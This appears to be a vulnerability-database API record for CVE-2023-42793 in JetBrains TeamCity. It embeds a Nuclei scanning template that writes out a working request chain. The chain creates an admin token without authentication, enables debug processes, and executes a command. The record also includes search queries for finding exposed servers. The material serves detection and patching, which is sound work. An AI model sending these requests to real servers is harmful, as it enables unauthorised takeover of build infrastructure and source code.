{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-42793/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-42793/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-42793/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-42793/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-42793/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-42793"},"sightings":{"href":"/api/v1/sightings/cve-2023-42793"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99988,"kev":true,"percentile":0.99984},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-42793.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-42793\n\ninfo:\n  name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible\n  impact: |\n    Unauthenticated attackers can bypass authentication by creating admin tokens to gain full administrative access to TeamCity Server, potentially executing arbitrary code and compromising the entire CI/CD infrastructure and source code.\n  remediation: |\n    Update JetBrains TeamCity to version 2023.05.4 or later that properly validates authentication and prevents token creation through unauthenticated requests.\n  reference:\n    - https://www.jetbrains.com/privacy-security/issues-fixed/\n    - https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis\n    - https://www.sonarsource.com/blog/teamcity-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-42793\n    - https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-42793\n    cwe-id: CWE-288\n    epss-score: 0.99988\n    epss-percentile: 0.99984\n    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: jetbrains\n    product: teamcity\n    shodan-query:\n      - title:TeamCity\n      - http.title:teamcity\n      - http.component:\"teamcity\"\n    fofa-query:\n      - title=TeamCity\n      - title=teamcity\n    google-query: intitle:teamcity\n  tags: cve2023,cve,jetbrains,teamcity,rce,auth-bypass,intrusive,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n      - |\n        POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/x-www-form-urlencoded\n      - |\n        POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/x-www-form-urlencoded\n      - |\n        POST /app/rest/debug/processes?exePath=echo&params={{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - '<token name=\"RPC2\" creationTime'\n\n      - type: word\n        part: body_5\n        words:\n          - 'StdOut:{{randstr}}'\n\n    extractors:\n      - type: regex\n        part: body_2\n        name: token\n        group: 1\n        regex:\n          - 'value=\"(.*?)\"'\n        internal: true\n# digest: 4b0a00483046022100dfbab6fb98716f5f977129dc665705b3995813bc0c9feb1917b20be99e8ab91c022100ef86f26435a6c7b7b498f6c086b0aaac2763145a18edfc384c241254f4c9da62:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-42793"}